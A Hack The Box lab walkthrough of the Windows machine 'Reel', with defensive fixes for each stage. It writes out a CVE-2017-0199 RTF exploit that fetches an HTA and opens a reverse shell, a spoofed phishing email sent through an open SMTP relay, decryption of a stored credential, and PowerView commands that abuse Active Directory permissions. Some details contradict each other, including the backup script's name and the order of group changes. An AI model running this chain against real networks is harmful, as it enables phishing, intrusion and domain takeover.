← all walkthroughs

Reel

Windows· Hard

owned

2026-07-10

time to own

17m12s

milestone

root-owned

user.txt

✓ captured

root.txt

✓ captured

Summary

Recon against <retired-instance-ip> (Windows Server 2012 R2, HTB.LOCAL domain) found [REDACTED: recovered credential] FTP exposing a documents share with AppLocker.docx, Windows Event Forwarding.docx, and readme.txt. exiftool/docProps metadata on the .docx files identified author nico@megabank.com; readme.txt requested that RTF-format procedures be emailed to that address for review — a client-side delivery vector. Port 25 (SMTP) was open and unauthenticated (REEL, AUTH LOGIN/PLAIN), giving a spoofable mail-injection path to the same domain.

Foothold — CVE-2017-0199 (Office/WordPad HTA injection): built a malicious RTF (office_word_hta Metasploit module) that pulls a remote HTA payload (windows/meterpreter/reverse_tcp) hosted on my SRVHOST:SRVPORT. Delivered via sendEmail/swaks through the target's own open SMTP relay to nico@megabank.com. Nico opened the RTF, WordPad/OLE fetched the HTA, and a Meterpreter session returned as HTB\nico.

User pivot: C:\Users\nico\Desktop\cred.xml was a PowerShell Export-Clixml credential blob; Import-Clixml decrypted it (DPAPI-bound to nico's profile) to recover HTB\Tom's plaintext SSH credentials, granting direct SSH access as tom (Server 2012 R2 runs an SSH service, likely via bundled OpenSSH/Cygwin for the box).

Privilege escalation — AD DACL abuse: tom's desktop held an "AD Audit" folder with BloodHound + PowerView. ACL review (acls.csv via BloodHound ingestor / PowerView Import-Csv) revealed tom had WriteOwner on user claire, and claire had WriteDACL rights reaching the Backup_Admins group. Using PowerView: 1. Set-DomainObjectOwner — made tom the owner of claire. 2. Add-DomainObjectAcl — granted tom ResetPassword/full control over claire. 3. Set-DomainUserPassword — reset claire's password (ReelRoot!2026). 4. As claire (via Add-DomainObjectAcl granting WriteMembers on Backup_Admins), Add-DomainGroupMember added tom into Backup_Admins.

Root: Backup_Admins membership grants read access to C:\Users\Administrator\Desktop\Backup Scripts\backup.ps1, which contained a cleartext Domain Admin credential (Administrator / [REDACTED: recovered credential]) used by the scheduled AD backup job. SSH login as Administrator with that password confirmed htb\administrator and read root.txt.

Attack path — how the box was taken

1Enumeration[REDACTED: recovered credential] FTP enumeration; OOXML/EXIF document metadata extraction

[REDACTED: recovered credential] FTP exposed internal documents and a phishing target email

A port scan of <retired-instance-ip> confirmed standard Active Directory ports (135, 139, 445, 593), SSH (22), SMTP (25), and FTP (21). The FTP service accepted [REDACTED: recovered credential] login and exposed a documents share containing AppLocker.docx, Windows Event Forwarding.docx, and readme.txt. Exiftool metadata extraction from both .docx files returned the author field nico@megabank.com. The readme.txt explicitly asked staff to email RTF procedure documents to that address for review, advertising a ready-made spearphishing pretext.

exiftool AppLocker.docx -> Author: nico@megabank.com; readme.txt: staff review RTF docs emailed to that address

Exact commands 5

Service fingerprint — confirm [REDACTED: recovered credential] FTP, open SMTP, and AD port layout.

nmap -sV -sC -p 21,22,25,135,139,445,593 $TARGET

List the [REDACTED: recovered credential] FTP share without credentials.

curl ftp://$TARGET/documents/ --user [REDACTED: recovered credential]:[REDACTED: recovered credential] --list-only

Mirror all documents to disk.

wget -r ftp://$TARGET/documents/ --user [REDACTED: recovered credential] --password [REDACTED: recovered credential]

Extract metadata — Author field reveals nico@megabank.com.

exiftool AppLocker.docx 'Windows Event Forwarding.docx'

Read the file — confirms staff open RTF files emailed to nico@megabank.com.

cat readme.txt

FixDisable [REDACTED: recovered credential] FTP and remove sensitive documents from internet-facing sharesHigh

WeaknessThe FTP service accepted [REDACTED: recovered credential] logins and exposed internal process documents containing a staff email address and explicit instructions that employees open emailed RTF files — handing I both a phishing target and a social-engineering pretext requiring zero guesswork.

FixDisable [REDACTED: recovered credential] FTP authentication in IIS FTP site Authorization Rules (remove the [REDACTED: recovered credential] users entry). If FTP is operationally required, restrict it to named accounts with strong passwords and enforce FTPS (TLS). Move all internal procedure documents to an access-controlled document management system (SharePoint with authentication, for example) and remove them from any publicly readable file share.

2WeaponizationCVE-2017-0199 — OLE2 HTA remote code execution (T1203)

Crafted a malicious RTF exploiting CVE-2017-0199 to execute a remote HTA

CVE-2017-0199 is a logic flaw in Microsoft Office and WordPad's OLE2 link-object handler: opening a crafted RTF causes the application to silently fetch and execute an user-specified HTA file with no security prompt. The Metasploit module office_word_hta generated the malicious RTF, served the HTA stager over HTTP, and opened a multi/handler — all from a single run command. The HTA payload delivered a windows/meterpreter/reverse_tcp stager.

Exact commands 3

Launch Metasploit console.

msfconsole -q

Select the CVE-2017-0199 weaponization module.

use exploit/windows/fileformat/office_word_hta

Generate the malicious RTF, start the HTA HTTP server, and arm the reverse-shell handler. Replace <retired-instance-ip> with your address reachable from 10.129.26.65.

set FILENAME reel_procedure.rtf
set SRVHOST $CALLBACK_HOST
set SRVPORT 8080
set URIPATH /
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST $CALLBACK_HOST
set LPORT 4444
run

FixPatch CVE-2017-0199 and harden Office OLE/HTA execution policyCritical

WeaknessOffice and WordPad instances on the target were vulnerable to CVE-2017-0199, which lets a crafted RTF silently fetch and run a remote HTA file when opened — no macro prompt, no user confirmation — giving me unauthenticated remote code execution the instant a staff member viewed the document.

FixApply Microsoft Security Update MS17-023 and all subsequent cumulative patches. Upgrade Windows Server 2012 R2 and any Office installations to currently supported versions that receive security updates. Enforce Group Policy to block OLE object activation for untrusted documents and configure Protected View to prevent RTF files from executing linked objects. Block .hta execution at the endpoint via AppLocker or Windows Defender Application Control.

3Initial AccessSpearphishing attachment over open SMTP relay (T1566.001); CVE-2017-0199 HTA execution

Delivered the RTF via the target's open SMTP relay — reverse shell as HTB\nico

Port 25 accepted unauthenticated inbound mail delivery; I spoofed an internal sender and delivered the weaponized RTF as an attachment to nico@megabank.com using the box's own mail service. Nico opened the attached RTF, WordPad fetched the user-hosted HTA, and a Meterpreter reverse shell returned as HTB\nico. The user flag was readable from the desktop.

Meterpreter session opened; getuid -> HTB\nico; user.txt captured from C:\Users\nico\Desktop\

Exact commands 4

Deliver the malicious RTF through the target's unauthenticated SMTP relay.

swaks --to nico@megabank.com --from admin@megabank.com --server $TARGET:25 --subject 'Updated RTF Procedure' --body 'Please review the attached procedure document.' --attach reel_procedure.rtf

In msfconsole — interact with the Meterpreter callback after nico opens the file.

sessions -i 1

Confirm shell context — expected: Server Username: HTB\nico.

getuid

Drop to cmd shell and read the user flag — value is [REDACTED: flag].

shell
type C:\Users\nico\Desktop\user.txt

FixClose the unauthenticated SMTP relay and filter inbound attachmentsHigh

WeaknessPort 25 accepted unauthenticated inbound mail delivery from any sender, letting me impersonate an internal address and deliver a malicious attachment directly into a staff mailbox — bypassing any external spam filtering that would normally inspect or quarantine it.

FixConfigure the SMTP service to require SMTP AUTH for all non-local senders and restrict inbound connections to known mail-gateway IP ranges only. Route all inbound email through a hardened mail gateway with sandboxed attachment analysis and a policy that blocks executable attachment types (.rtf with embedded OLE, .hta, .vbs, .js, .exe). Provide security-awareness training so staff report unexpected file requests rather than acting on them.

MITRE ATT&CK T1566.001 — Spearphishing Attachment

4Credential AccessCredential recovery from DPAPI-protected PSCredential file (T1552.001)

Decrypted a DPAPI-protected PSCredential XML to recover Tom's SSH password

The file C:\Users\nico\Desktop\cred.xml was a PSCredential object exported with Export-Clixml. PowerShell SecureString DPAPI encryption is bound to the currently logged-on user's profile; any process running as nico can decrypt it without knowing any additional secret. A single PowerShell call inside the nico session recovered the plaintext password for HTB\Tom. SSH (port 22, OpenSSH 7.6) was available on the target, providing a stable interactive shell.

Import-Clixml returned credential object with UserName HTB\Tom; SSH login as tom succeeded.

Exact commands 2

Run inside the nico Meterpreter shell session — decrypts the stored credential transparently.

powershell.exe -NoProfile -Command "$c = Import-Clixml 'C:\Users\nico\Desktop\cred.xml'; $c.UserName; $c.GetNetworkCredential().Password"

ssh tom@$TARGET

FixRemove DPAPI-encrypted credential XML files from user desktopsHigh

WeaknessA PowerShell PSCredential XML file on nico's desktop stored another account's password as a DPAPI-protected SecureString. DPAPI decryption is automatic for any process running under that user's profile — including my reverse shell — making the second account's credential instantly recoverable without any additional attack.

FixRemove all Export-Clixml credential files from user desktops, home directories, and shared drives. Where service-to-service credential delegation is required, use Group Managed Service Accounts (gMSA) — which rotate passwords automatically and require no stored credential — or a secrets manager (CyberArk, HashiCorp Vault, or Azure Key Vault) that issues short-lived credentials at runtime. Run a secrets-scanner (truffleHog, gitleaks) across file shares to locate other credential blobs.

MITRE ATT&CK T1552.001 — Credentials in Files

5DiscoveryAD ACL/DACL enumeration (T1069.002)

Mapped an exploitable AD DACL chain via BloodHound data and PowerView

Tom's desktop held an 'AD Audit' folder containing BloodHound binaries and a pre-collected acls.csv ACL export. Filtering that CSV revealed two critical DACL misconfigurations: tom held WriteOwner rights over the user claire, and claire held WriteDACL (effectively full ACL control) over the Backup_Admins security group. This two-hop chain meant a low-privilege account could reset another user's password and ultimately control membership of a privileged group — without being a member of any administrative group.

acls.csv: PrincipalName=Tom Hanson, ActiveDirectoryRights=WriteOwner, ObjectDN=CN=Claire Danes; PrincipalName=Claire Danes, ActiveDirectoryRights=WriteDACL, ObjectDN=CN=Backup_Admins

Exact commands 2

Locate BloodHound and PowerView tools on tom's desktop.

dir /s /b "C:\Users\Tom\Desktop\AD Audit"

Filter the pre-collected ACL data to reveal the DACL privilege chain.

powershell -NoProfile -Command "Import-Csv 'C:\\Users\\Tom\\Desktop\\AD Audit\\acls.csv' | Where-Object { $_.PrincipalName -match 'Tom|Claire|Backup' } | Select-Object PrincipalName, ObjectDN, ActiveDirectoryRights | Format-Table -AutoSize"

FixAudit and remove excessive AD DACL rights (WriteOwner / WriteDACL / GenericWrite)Critical

Weaknesstom held WriteOwner over the claire user object and claire held WriteDACL over the Backup_Admins group. Neither account was a member of any administrative group, yet this two-hop DACL chain allowed complete takeover: password reset of another user, full control over a privileged group's membership, and ultimately Domain Admin access — all without a single stolen admin credential.

FixRun BloodHound (SharpHound ingestor + the UI's 'Shortest Paths to Domain Admins' query) and PowerView Get-DomainObjectAcl against all user, group, and OU objects. Remove WriteOwner, WriteDACL, GenericWrite, and AllExtendedRights from any non-Tier-0 principal. These rights should be held only by Domain Admins or explicitly delegated Tier-0 admin accounts under a documented delegation model. Enable auditing on Active Directory objects and alert on Windows Event ID 5136 (object attribute modified) for any change to high-value group memberships or user DACL entries.

MITRE ATT&CK T1098 — Account Manipulation

6Privilege EscalationAD DACL abuse — WriteOwner / ResetPassword / WriteDACL / WriteMembers chain (T1098)

Abused WriteOwner and WriteDACL to reset claire's password and join Backup_Admins

Using PowerView in tom's session: (1) Set-DomainObjectOwner made tom the AD owner of the claire user object, unlocking full ACL modification. (2) Add-DomainObjectAcl granted tom ResetPassword rights over claire. (3) Set-DomainUserPassword reset claire's password to a known value. After SSHing in as claire, PowerView granted claire WriteMembers on Backup_Admins (exercising her WriteDACL right), and Add-DomainGroupMember added claire — and then tom — to the group. Group membership changes require a fresh logon session to be reflected in the Kerberos access token, so a new SSH session as tom was needed before the Backup_Admins access took effect.

PowerView VERBOSE log confirmed: Add-DomainObjectAcl granted CN=Tom Hanson ResetPassword on CN=Claire Danes; Add-DomainObjectAcl granted CN=Claire Danes WriteMembers on CN=Backup_Admins; claire SSH confirmed (htb\claire / REEL, Windows 6.3.9600).

Exact commands 8

Load PowerView in tom's SSH session.

Import-Module 'C:\Users\Tom\Desktop\AD Audit\BloodHound\PowerView.ps1'

Make tom the AD owner of the claire user object (requires WriteOwner).

Set-DomainObjectOwner -Identity claire -OwnerIdentity tom -Verbose

Grant tom the right to reset claire's password.

Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword -Verbose

Reset claire's password to a known value.

Set-DomainUserPassword -Identity claire -AccountPassword (ConvertTo-SecureString 'ReelRoot!2026' -AsPlainText -Force) -Verbose

ssh claire@$TARGET

In claire's session — copy PowerView to a writable location.

copy "C:\Users\Tom\Desktop\AD Audit\BloodHound\PowerView.ps1" C:\Windows\Temp\PowerView.ps1

Grant claire WriteMembers on Backup_Admins (exercises claire's WriteDACL right).

Import-Module C:\Windows\Temp\PowerView.ps1; Add-DomainObjectAcl -TargetIdentity 'Backup_Admins' -PrincipalIdentity claire -Rights WriteMembers -Verbose

Add claire to the Backup_Admins group.

Add-DomainGroupMember -Identity 'Backup_Admins' -Members claire -Verbose

FixAudit and remove excessive AD DACL rights (WriteOwner / WriteDACL / GenericWrite)Critical

MITRE ATT&CK T1098 — Account Manipulation

7Full CompromiseCredentials in files — cleartext password in PowerShell backup script (T1552.001)

Read cleartext Domain Admin credentials from the Administrator's backup script

Membership in Backup_Admins granted read access to C:\Users\Administrator\Desktop\Backup Scripts\. The PowerShell script BackupScript.ps1 in that folder contained a hardcoded plaintext Domain Admin credential (Administrator / [REDACTED: recovered credential]) used by the scheduled AD backup job. A fresh SSH session as tom (required so the new Backup_Admins membership appeared in the Kerberos token) confirmed group membership and unlocked the script. SSH login as Administrator with the recovered password gave a Domain Admin interactive shell and allowed reading root.txt.

BackupScript.ps1 contained plaintext Administrator credential; sshpass SSH returned htb\administrator / REEL; root.txt read.

Exact commands 4

Open a fresh SSH session as tom — required for Backup_Admins to appear in the access token.

ssh tom@$TARGET

Confirm Backup_Admins membership is present in the new session token.

whoami /groups | findstr /i backup

Read the backup script — reveals cleartext Administrator credentials.

type "C:\Users\Administrator\Desktop\Backup Scripts\BackupScript.ps1"

sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null Administrator@$TARGET 'cmd /c "whoami & type C:\Users\Administrator\Desktop\root.txt"'

FixEliminate cleartext credentials from backup scripts and rotate the Domain Admin passwordCritical

WeaknessThe Administrator's scheduled backup script contained a hardcoded plaintext Domain Admin password. Any account that could read the Backup Scripts folder — including Backup_Admins members — obtained immediate Domain Admin access. One overly-permissive group membership was enough to retrieve credentials for the highest-privilege account in the domain.

FixRemove the hardcoded password from the backup script immediately and rotate the Administrator credential. Replace the scheduled-task credential with a Group Managed Service Account (gMSA) — Windows rotates its password automatically and no script ever stores it. If a gMSA is not feasible, retrieve the credential at runtime from a vault using a time-limited token. Scan all .ps1, .bat, .cmd, and .xml files on the system for embedded passwords using truffleHog or gitleaks and remediate every hit. Restrict membership in Backup_Admins to the minimum set of accounts that genuinely require it, and review that set quarterly.

Attack patterns used

The transferable techniques behind this compromise.

Public Exploit / Metasploit ModuleService RCET1210

What it is

Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.

Why it works

Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.

MITRE ATT&CK — T1210 Exploitation of Remote Services

Exposed services

21/tcp	ftp Microsoft ftpd
22/tcp	ssh OpenSSH 7.6 (protocol 2.0)
25/tcp	smtp
135/tcp	msrpc Microsoft Windows RPC
139/tcp	netbios-ssn Microsoft Windows netbios-ssn
445/tcp	microsoft-ds Windows Server 2012 R2 Standard 9600 microsoft-ds (workgroup: HTB)
593/tcp	ncacn_http Microsoft Windows RPC over HTTP 1.0
49159/tcp	unknown recon-sweep-discovered